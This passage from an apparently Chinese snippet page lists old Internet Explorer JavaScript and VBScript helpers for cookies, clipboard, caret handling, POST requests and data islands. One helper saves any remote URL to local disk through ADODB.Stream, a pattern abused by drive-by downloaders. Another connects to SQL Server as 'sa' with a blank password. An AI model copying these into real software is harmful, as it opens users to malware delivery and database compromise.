width=doc.body.scrollWidth&nbsp;<br/>&nbsp;}&nbsp;<br/>}&nbsp;<br/>doc.onreadystatechange=s&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>//刷新后不变的文本框&nbsp;<br/>&lt;HTML&gt;&nbsp;<br/>&lt;HEAD&gt;&nbsp;<br/>&lt;META&nbsp;NAME=&#34;save&#34;&nbsp;CONTENT=&#34;history&#34;&gt;&nbsp;<br/>&lt;STYLE&gt;&nbsp;<br/>&nbsp;&nbsp;&nbsp;.sHistory&nbsp;{behavior:url(#default#savehistory);}&nbsp;<br/>&lt;/STYLE&gt;&nbsp;<br/>&lt;/HEAD&gt;&nbsp;<br/>&lt;BODY&gt;&nbsp;<br/>&lt;INPUT&nbsp;class=sHistory&nbsp;type=text&nbsp;id=oPersistInput&gt;&nbsp;<br/>&lt;/BODY&gt;&nbsp;<br/>&lt;/HTML&gt;&nbsp;<br/>&nbsp;<br/>//访问剪贴板&nbsp;<br/>(1)拖拽访问&nbsp;<br/>event.dataTransfer.setData(&#34;URL&#34;,&nbsp;oImage.src);&nbsp;<br/>sImageURL&nbsp;=&nbsp;event.dataTransfer.getData(&#34;URL&#34;)&nbsp;<br/>(2)普通访问&nbsp;<br/>window.clipboardData.setData(&#34;Text&#34;,oSource.innerText);&nbsp;<br/>window.clipboardData.getData(&#34;Text&#34;);&nbsp;<br/>&nbsp;<br/>//操作COOKIE&nbsp;<br/><br/>function&nbsp;SetCookie(sName,&nbsp;sValue)&nbsp;<br/>{&nbsp;<br/>&nbsp;document.cookie&nbsp;=&nbsp;sName&nbsp;+&nbsp;&#34;=&#34;&nbsp;+&nbsp;escape(sValue)&nbsp;+&nbsp;&#34;;&nbsp;&#34;;&nbsp;<br/>}&nbsp;<br/>function&nbsp;GetCookie(sName)&nbsp;<br/>{&nbsp;<br/>&nbsp;var&nbsp;aCookie&nbsp;=&nbsp;document.cookie.split(&#34;;&nbsp;&#34;);&nbsp;<br/>&nbsp;for&nbsp;(var&nbsp;i=0;&nbsp;i&nbsp;&lt;&nbsp;aCookie.length;&nbsp;i++)&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;var&nbsp;aCrumb&nbsp;=&nbsp;aCookie[i].split(&#34;=&#34;);&nbsp;<br/>&nbsp;&nbsp;if&nbsp;(sName&nbsp;==&nbsp;aCrumb[0])&nbsp;&nbsp;<br/>&nbsp;&nbsp;return&nbsp;unescape(aCrumb[1]);&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;&nbsp;<br/>}&nbsp;<br/>function&nbsp;DelCookie(sName)&nbsp;<br/>{&nbsp;<br/>document.cookie&nbsp;=&nbsp;sName&nbsp;+&nbsp;&#34;=&#34;&nbsp;+&nbsp;escape(sValue)&nbsp;+&nbsp;&#34;;&nbsp;expires=Fri,&nbsp;31&nbsp;Dec&nbsp;1999&nbsp;23:59:59&nbsp;GMT;&#34;;&nbsp;<br/>}&nbsp;<br/>//setTimeout增加参数&nbsp;<br/>&lt;script&gt;&nbsp;<br/>var&nbsp;_st&nbsp;=&nbsp;window.setTimeout;&nbsp;<br/>window.setTimeout&nbsp;=&nbsp;function(fRef,&nbsp;mDelay)&nbsp;{&nbsp;<br/>&nbsp;if(typeof&nbsp;fRef&nbsp;==&nbsp;&#39;function&#39;){&nbsp;<br/>&nbsp;&nbsp;var&nbsp;argu&nbsp;=&nbsp;Array.prototype.slice.call(arguments,2);&nbsp;<br/>&nbsp;&nbsp;var&nbsp;f&nbsp;=&nbsp;(function(){&nbsp;fRef.apply(null,&nbsp;argu);&nbsp;});&nbsp;<br/>&nbsp;&nbsp;return&nbsp;_st(f,&nbsp;mDelay);&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;return&nbsp;_st(fRef,mDelay);&nbsp;<br/>}&nbsp;<br/>function&nbsp;test(x){&nbsp;<br/>&nbsp;alert(x);&nbsp;<br/>}&nbsp;<br/>window.setTimeout(test,1000,&#39;fason&#39;);&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>//自定义的apply,call&nbsp;<br/>Function.prototype.apply&nbsp;=&nbsp;function&nbsp;(obj,&nbsp;argu)&nbsp;{&nbsp;<br/>&nbsp;if&nbsp;(obj)&nbsp;obj.constructor.prototype._caller&nbsp;=&nbsp;this;&nbsp;&nbsp;<br/>&nbsp;var&nbsp;argus&nbsp;=&nbsp;new&nbsp;Array();&nbsp;<br/>&nbsp;for&nbsp;(var&nbsp;i=0;i&lt;argu.length;i++)&nbsp;<br/>&nbsp;&nbsp;argus[i]&nbsp;=&nbsp;&#34;argu[&#34;&nbsp;+&nbsp;i&nbsp;+&nbsp;&#34;]&#34;;&nbsp;<br/>&nbsp;var&nbsp;r;&nbsp;<br/>&nbsp;eval(&#34;r&nbsp;=&nbsp;&#34;&nbsp;+&nbsp;(obj&nbsp;?&nbsp;(&#34;obj._caller(&#34;&nbsp;+&nbsp;argus.join(&#34;,&#34;)&nbsp;+&nbsp;&#34;);&#34;)&nbsp;:&nbsp;(&#34;this(&#34;&nbsp;+&nbsp;argus.join(&#34;,&#34;)&nbsp;+&nbsp;&#34;);&#34;)));&nbsp;<br/>&nbsp;return&nbsp;r;&nbsp;<br/>};&nbsp;<br/>Function.prototype.call&nbsp;=&nbsp;function&nbsp;(obj)&nbsp;{&nbsp;<br/>&nbsp;var&nbsp;argu&nbsp;=&nbsp;new&nbsp;Array();&nbsp;<br/>&nbsp;for&nbsp;(var&nbsp;i=1;i&lt;arguments.length;i++)&nbsp;<br/>&nbsp;&nbsp;argu[i-1]&nbsp;=&nbsp;arguments[i];&nbsp;<br/>&nbsp;return&nbsp;this.apply(obj,&nbsp;argu);&nbsp;<br/>};&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>//下载文件&nbsp;<br/>function&nbsp;DownURL(strRemoteURL,strLocalURL)&nbsp;<br/>{&nbsp;<br/>&nbsp;try&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;var&nbsp;xmlHTTP=new&nbsp;ActiveXObject(&#34;Microsoft.XMLHTTP&#34;);&nbsp;<br/>&nbsp;&nbsp;xmlHTTP.open(&#34;Get&#34;,strRemoteURL,false);&nbsp;<br/>&nbsp;&nbsp;xmlHTTP.send();&nbsp;<br/>&nbsp;&nbsp;var&nbsp;adodbStream=new&nbsp;ActiveXObject(&#34;ADODB.Stream&#34;);&nbsp;<br/>&nbsp;&nbsp;adodbStream.Type=1;//1=adTypeBinary&nbsp;<br/>&nbsp;&nbsp;adodbStream.Open();&nbsp;<br/>&nbsp;&nbsp;adodbStream.write(xmlHTTP.responseBody);&nbsp;<br/>&nbsp;&nbsp;adodbStream.SaveToFile(strLocalURL,2);&nbsp;<br/>&nbsp;&nbsp;adodbStream.Close();&nbsp;<br/>&nbsp;&nbsp;adodbStream=null;&nbsp;<br/>&nbsp;&nbsp;xmlHTTP=null;&nbsp;<br/>&nbsp;&nbsp;&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;catch(e)&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;window.confirm(&#34;下载URL出错!&#34;);&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;//window.confirm(&#34;下载完成.&#34;);&nbsp;<br/>}&nbsp;<br/>//检验连接是否有效&nbsp;<br/>function&nbsp;getXML(URL)&nbsp;&nbsp;<br/>{&nbsp;<br/>&nbsp;var&nbsp;xmlhttp&nbsp;=&nbsp;new&nbsp;ActiveXObject(&#34;microsoft.xmlhttp&#34;);&nbsp;<br/>&nbsp;xmlhttp.Open(&#34;GET&#34;,URL,&nbsp;false);&nbsp;&nbsp;<br/>&nbsp;try&nbsp;<br/>&nbsp;{&nbsp;&nbsp;<br/>&nbsp;&nbsp;xmlhttp.Send();&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;catch(e){}&nbsp;<br/>&nbsp;finally&nbsp;&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;var&nbsp;result&nbsp;=&nbsp;xmlhttp.responseText;&nbsp;<br/>&nbsp;&nbsp;if(result)&nbsp;&nbsp;<br/>&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;if(xmlhttp.Status==200)&nbsp;<br/>&nbsp;&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;return(true);&nbsp;<br/>&nbsp;&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;&nbsp;else&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;return(false);&nbsp;<br/>&nbsp;&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;else&nbsp;&nbsp;<br/>&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;return(false);&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;}&nbsp;<br/>}&nbsp;<br/>//POST代替FORM&nbsp;<br/>&lt;SCRIPT&nbsp;language=&#34;VBScript&#34;&gt;&nbsp;<br/>Function&nbsp;URLEncoding(vstrIn)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;&#34;&#34;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;i&nbsp;=&nbsp;1&nbsp;To&nbsp;Len(vstrIn)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ThisChr&nbsp;=&nbsp;Mid(vStrIn,i,1)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;Abs(Asc(ThisChr))&nbsp;&lt;&nbsp;&amp;HFF&nbsp;Then&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&amp;&nbsp;ThisChr&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerCode&nbsp;=&nbsp;Asc(ThisChr)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;innerCode&nbsp;&lt;&nbsp;0&nbsp;Then&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;innerCode&nbsp;=&nbsp;innerCode&nbsp;+&nbsp;&amp;H10000&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hight8&nbsp;=&nbsp;(innerCode&nbsp;&nbsp;And&nbsp;&amp;HFF00)\&nbsp;&amp;HFF&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Low8&nbsp;=&nbsp;innerCode&nbsp;And&nbsp;&amp;HFF&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&amp;&nbsp;&#34;%&#34;&nbsp;&amp;&nbsp;Hex(Hight8)&nbsp;&amp;&nbsp;&nbsp;&#34;%&#34;&nbsp;&amp;&nbsp;Hex(Low8)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Next&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;URLEncoding&nbsp;=&nbsp;strReturn&nbsp;<br/>End&nbsp;Function&nbsp;<br/>Function&nbsp;bytes2BSTR(vIn)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;&#34;&#34;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;i&nbsp;=&nbsp;1&nbsp;To&nbsp;LenB(vIn)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ThisCharCode&nbsp;=&nbsp;AscB(MidB(vIn,i,1))&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;ThisCharCode&nbsp;&lt;&nbsp;&amp;H80&nbsp;Then&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&amp;&nbsp;Chr(ThisCharCode)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NextCharCode&nbsp;=&nbsp;AscB(MidB(vIn,i+1,1))&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strReturn&nbsp;=&nbsp;strReturn&nbsp;&amp;&nbsp;Chr(CLng(ThisCharCode)&nbsp;*&nbsp;&amp;H100&nbsp;+&nbsp;CInt(NextCharCode))&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;=&nbsp;i&nbsp;+&nbsp;1&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;If&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Next&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;bytes2BSTR&nbsp;=&nbsp;strReturn&nbsp;<br/>End&nbsp;Function&nbsp;<br/>dim&nbsp;strA,oReq&nbsp;<br/>strA&nbsp;=&nbsp;URLEncoding(&#34;submit1=Submit&amp;text1=中文&#34;)&nbsp;<br/>set&nbsp;o&#114;eq&nbsp;=&nbsp;Cr&#101;ateObject(&#34;MSXML2.XMLHTTP&#34;)&nbsp;<br/>o&#114;eq.open&nbsp;&#34;POST&#34;,&#34;<a href="http://" target="_blank">http://</a>ServerName/VDir/TstResult.asp&#34;,false&nbsp;<br/>o&#114;eq.setRequestHeader&nbsp;&#34;Content-Length&#34;,Len(strA)&nbsp;<br/>o&#114;eq.setRequestHeader&nbsp;&#34;CONTENT-TYPE&#34;,&#34;application/x-www-form-urlencoded&#34;&nbsp;<br/>o&#114;eq.send&nbsp;strA&nbsp;<br/>msgbox&nbsp;bytes2BSTR(oReq.responseBody)&nbsp;<br/>&lt;/SCRIPT&gt;&nbsp;<br/>//readyState是xmlhttp返回数据的进度，0=载入中,1=未初始化,2=已载入,3=运行中,4=完成<br/><br/>&nbsp;<br/><br/>&nbsp;<br/>//组件是否安装&nbsp;<br/>isComponentInstalled(&#34;{6B053A4B-A7EC-4D3D-4567-B8FF8A1A5739}&#34;,&nbsp;&#34;componentID&#34;))&nbsp;<br/>//检查网页是否存在&nbsp;<br/><br/>function&nbsp;CheckURL(URL)&nbsp;<br/>{&nbsp;<br/>&nbsp;&nbsp;var&nbsp;xmlhttp&nbsp;=&nbsp;new&nbsp;ActiveXObject(&#34;Microsoft.XMLHTTP&#34;);&nbsp;<br/>&nbsp;&nbsp;xmlhttp.Open(&#34;GET&#34;,URL,&nbsp;false);&nbsp;<br/>&nbsp;&nbsp;try&nbsp;<br/>&nbsp;&nbsp;{&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;xmlhttp.Send();&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;result&nbsp;=&nbsp;xmlhttp.status;&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;catch(e)&nbsp;{return(false);&nbsp;}&nbsp;<br/>&nbsp;&nbsp;if(result==200)&nbsp;<br/>&nbsp;&nbsp;{&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;true;&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;xmlhttp&nbsp;=&nbsp;null;&nbsp;<br/>&nbsp;&nbsp;return&nbsp;false;&nbsp;<br/>}&nbsp;<br/>//连接数据库&nbsp;<br/><br/>&lt;script&nbsp;language=&#34;javascript&#34;&gt;&nbsp;<br/>&nbsp;&nbsp;//用&nbsp;JavaScript&nbsp;写服务器端连接数据库的代码示例&nbsp;<br/>&nbsp;&nbsp;var&nbsp;conn&nbsp;=&nbsp;new&nbsp;ActiveXObject(&#34;ADODB.Connection&#34;);&nbsp;<br/>&nbsp;&nbsp;conn.Open(&#34;Provider=SQLOLEDB.1;&nbsp;Data&nbsp;Source=localhost;&nbsp;User&nbsp;ID=sa;&nbsp;&#34;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;+&#34;Password=;&nbsp;Initial&nbsp;Catalog=pubs&#34;);&nbsp;<br/>&nbsp;&nbsp;var&nbsp;rs&nbsp;=&nbsp;new&nbsp;ActiveXObject(&#34;ADODB.Recordset&#34;);&nbsp;<br/>&nbsp;&nbsp;var&nbsp;sql=&#34;sel&#101;ct&nbsp;*&nbsp;from&nbsp;authors&#34;;&nbsp;<br/>&nbsp;&nbsp;rs.open(sql,&nbsp;conn);&nbsp;<br/>&nbsp;shtml&nbsp;=&nbsp;&#34;&lt;table&nbsp;width=&#39;100%&#39;&nbsp;border=1&gt;&#34;;&nbsp;<br/>&nbsp;shtml&nbsp;+=&#34;&lt;tr&nbsp;bgcolor=&#39;#f4f4f4&#39;&gt;&lt;td&gt;au_id&lt;/td&gt;&lt;td&gt;au_lname&lt;/td&gt;&lt;td&gt;au_fname&lt;/td&gt;&lt;td&gt;phone&lt;/td&gt;&lt;td&gt;address&lt;/td&gt;&lt;td&gt;&nbsp;city&lt;/td&gt;&lt;td&gt;state&lt;/td&gt;&lt;td&gt;zip&lt;/td&gt;&lt;/tr&gt;&#34;;&nbsp;<br/>&nbsp;&nbsp;while(!rs.EOF)&nbsp;<br/>&nbsp;&nbsp;{&nbsp;<br/>&nbsp;shtml&nbsp;+=&nbsp;&#34;&lt;tr&gt;&lt;td&gt;&#34;&nbsp;+&nbsp;rs(&#34;au_id&#34;)&nbsp;+&nbsp;&#34;&lt;/td&gt;&lt;td&gt;&#34;&nbsp;+&nbsp;rs(&#34;au_lname&#34;)&nbsp;+&nbsp;&#34;&lt;/td&gt;&lt;td&gt;&#34;&nbsp;+&nbsp;rs(&#34;au_fname&#34;)&nbsp;+&nbsp;&#34;&lt;/td&gt;&lt;td&gt;&#34;&nbsp;+&nbsp;rs(&#34;phone&#34;)&nbsp;+&nbsp;&#34;&lt;/td&gt;&lt;td&gt;&#34;&nbsp;+&nbsp;rs(&#34;address&#34;)&nbsp;+&nbsp;&#34;&lt;/td&gt;&lt;td&gt;&#34;&nbsp;+&nbsp;rs(&#34;city&#34;)&nbsp;+&nbsp;&#34;&lt;/td&gt;&lt;td&gt;&#34;&nbsp;+&nbsp;rs(&#34;state&#34;)&nbsp;+&nbsp;&#34;&lt;/td&gt;&lt;td&gt;&#34;&nbsp;+&nbsp;rs(&#34;zip&#34;)&nbsp;+&nbsp;&#34;&lt;/td&gt;&lt;/tr&gt;&#34;;&nbsp;<br/>&nbsp;rs.moveNext;&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;shtml&nbsp;+=&nbsp;&#34;&lt;/table&gt;&#34;;&nbsp;<br/>&nbsp;&nbsp;document.write(shtml);&nbsp;<br/>&nbsp;&nbsp;rs.close();&nbsp;&nbsp;<br/>&nbsp;&nbsp;rs&nbsp;=&nbsp;null;&nbsp;&nbsp;<br/>&nbsp;&nbsp;conn.close();&nbsp;&nbsp;<br/>&nbsp;&nbsp;conn&nbsp;=&nbsp;null;&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>//使用数据岛&nbsp;<br/><br/>&lt;html&gt;&nbsp;<br/>&lt;body&gt;&nbsp;<br/>srno：&lt;input&nbsp;type=text&nbsp;datasrc=#xmldate&nbsp;DataFLD=srno&nbsp;size=&#34;76&#34;&gt;&lt;BR&gt;&nbsp;<br/>times：&lt;input&nbsp;type=text&nbsp;datasrc=#xmldate&nbsp;DataFLD=times&nbsp;size=&#34;76&#34;&gt;&lt;BR&gt;&nbsp;<br/>&lt;input&nbsp;id=&#34;first&#34;&nbsp;TYPE=button&nbsp;value=&#34;&lt;&lt;　第一条记录&#34;&nbsp;onclick=&#34;xmldate.recordset.moveFirst()&#34;&gt;&nbsp;<br/>&lt;input&nbsp;id=&#34;prev&#34;&nbsp;TYPE=button&nbsp;value=&#34;&lt;上一条记录&#34;&nbsp;onclick=&#34;xmldate.recordset.movePrevious()&#34;&gt;&nbsp;&nbsp;&nbsp;<br/>&lt;input&nbsp;id=&#34;next&#34;&nbsp;TYPE=button&nbsp;value=&#34;下一条记录&gt;&#34;&nbsp;onclick=&#34;xmldate.recordset.moveNext()&#34;&gt;&nbsp;&nbsp;&nbsp;<br/>&lt;input&nbsp;id=&#34;last&#34;&nbsp;TYPE=button&nbsp;value=&#34;最后一条记录&gt;&gt;&#34;&nbsp;onclick=&#34;xmldate.recordset.moveLast()&#34;&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&lt;input&nbsp;id=&#34;Add&#34;&nbsp;TYPE=button&nbsp;value=&#34;添加新记录&#34;&nbsp;onclick=&#34;xmldate.recordset.addNew()&#34;&gt;&nbsp;&nbsp;&nbsp;<br/>&lt;XML&nbsp;ID=&#34;xmldate&#34;&gt;&nbsp;<br/>&lt;infolist&gt;&nbsp;<br/>&lt;info&nbsp;&gt;&lt;srno&gt;20041025-01&lt;/srno&gt;&lt;times&gt;null&lt;/times&gt;&lt;/info&gt;&nbsp;<br/>&lt;info&nbsp;&gt;&lt;srno&gt;20041101-09&lt;/srno&gt;&lt;times&gt;2004年10月1日2点22分0秒&lt;/times&gt;&lt;/info&gt;&nbsp;<br/>&lt;/infolist&gt;&nbsp;<br/>&lt;/XML&gt;&nbsp;<br/>&lt;/body&gt;&nbsp;<br/>&lt;/html&gt;&nbsp;<br/>//获得参数&nbsp;<br/>&lt;body&gt;&nbsp;<br/>&lt;a&nbsp;href=&#34;javascript:location.href=location.href&nbsp;+&nbsp;&#39;?a=1&amp;b=2&#39;&#34;&gt;search&lt;/a&gt;&nbsp;<br/>&lt;script&nbsp;language=&#34;JavaScript&#34;&gt;&nbsp;<br/>&lt;!--&nbsp;<br/>var&nbsp;a&nbsp;=&nbsp;location.search.substr(1);&nbsp;<br/>if(a.length&gt;0)&nbsp;<br/>{&nbsp;<br/>&nbsp;var&nbsp;re&nbsp;=&nbsp;/([^&amp;]*?)\=([^&amp;]*)/g&nbsp;<br/>&nbsp;var&nbsp;s&nbsp;=&nbsp;a.match(re);&nbsp;<br/>&nbsp;for(var&nbsp;i=&nbsp;0;i&lt;s.length;i++)&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;alert(s[i]);&nbsp;<br/>&nbsp;&nbsp;alert(s[i].split(&#34;=&#34;)[1]);&nbsp;<br/>&nbsp;}&nbsp;<br/>}&nbsp;<br/>//--&gt;&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>&lt;/body&gt;&nbsp;<br/>//可编辑Sel&#101;ct&nbsp;<br/>&lt;input&nbsp;type=text&nbsp;name=re_name&nbsp;style=&#34;width:100px;height:21px;font-size:10pt;&#34;&gt;&lt;span&nbsp;style=&#34;width:18px;border:0px&nbsp;solid&nbsp;red;&#34;&gt;&lt;sel&#101;ct&nbsp;name=&#34;r00&#34;&nbsp;style=&#34;margin-left:-100px;width:118px;&nbsp;background-color:#FFEEEE;&#34;&nbsp;onChange=&#34;document.all.re_name.value=this.value;&#34;&gt;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value=&#34;1&#34;&gt;11111111&lt;option&gt;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value=&#34;2&#34;&gt;222222&lt;/option&gt;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value=&#34;3&#34;&gt;333333&lt;/option&gt;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/sel&#101;ct&gt;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/span&gt;&nbsp;<br/>&nbsp;<br/><br/>&nbsp;<br/><br/>&nbsp;<br/>//设置光标位置&nbsp;<br/><br/>function&nbsp;getCaret(textbox)&nbsp;<br/>{&nbsp;<br/>&nbsp;var&nbsp;control&nbsp;=&nbsp;document.activeElement;&nbsp;<br/>&nbsp;textbox.focus();&nbsp;<br/>&nbsp;var&nbsp;rang&nbsp;=&nbsp;document.sel&#101;ction.cr&#101;ateRange();&nbsp;<br/>&nbsp;&nbsp;rang.setEndPoint(&#34;StartToStart&#34;,textbox.cr&#101;ateTextRange())&nbsp;<br/>&nbsp;control.focus();&nbsp;<br/>&nbsp;return&nbsp;rang.text.length;&nbsp;<br/>}&nbsp;<br/>function&nbsp;setCaret(textbox,pos)&nbsp;<br/>{&nbsp;<br/>&nbsp;try&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;var&nbsp;r&nbsp;=textbox.cr&#101;ateTextRange();&nbsp;<br/>&nbsp;&nbsp;&nbsp;r.moveStart(&#39;character&#39;,pos);&nbsp;<br/>&nbsp;&nbsp;&nbsp;r.collapse(true);&nbsp;<br/>&nbsp;&nbsp;&nbsp;r.sel&#101;ct();&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;catch(e)&nbsp;<br/>&nbsp;{}&nbsp;<br/>}&nbsp;<br/>function&nbsp;sel&#101;ctLength(textbox,start,len)&nbsp;<br/>{&nbsp;<br/>&nbsp;try&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;var&nbsp;r&nbsp;=textbox.cr&#101;ateTextRange();&nbsp;<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;r.moveEnd(&#39;character&#39;,len-(textbox.value.length-start));&nbsp;<br/>&nbsp;&nbsp;r.moveStart(&#39;character&#39;,start);&nbsp;<br/>&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;r.sel&#101;ct();&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;catch(e)&nbsp;<br/>&nbsp;{//alert(e.description)}&nbsp;<br/>}&nbsp;<br/>function&nbsp;ins&#101;rtAtCaret(textbox,text)&nbsp;<br/>{&nbsp;<br/>&nbsp;textbox.focus();&nbsp;<br/>&nbsp;document.sel&#101;ction.cr&#101;ateRange().text&nbsp;=&nbsp;text;&nbsp;<br/>}&nbsp;<br/>//页内查找&nbsp;<br/><br/>function&nbsp;findInPage(str)&nbsp;<br/>{&nbsp;<br/>&nbsp;var&nbsp;txt,&nbsp;i,&nbsp;found,n&nbsp;=&nbsp;0;&nbsp;<br/>&nbsp;if&nbsp;(str&nbsp;==&nbsp;&#34;&#34;)&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;return&nbsp;false;&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;txt&nbsp;=&nbsp;document.body.cr&#101;ateTextRange();&nbsp;<br/>&nbsp;for&nbsp;(i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;=&nbsp;n&nbsp;&amp;&amp;&nbsp;(found&nbsp;=&nbsp;txt.findText(str))&nbsp;!=&nbsp;false;&nbsp;i++)&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;txt.moveStart(&#34;character&#34;,&nbsp;1);&nbsp;<br/>&nbsp;&nbsp;txt.moveEnd(&#34;textedit&#34;);&nbsp;<br/>&nbsp;}&nbsp;<br/>&nbsp;if&nbsp;(found)&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;txt.moveStart(&#34;character&#34;,&nbsp;-1);&nbsp;<br/>&nbsp;&nbsp;txt.findText(s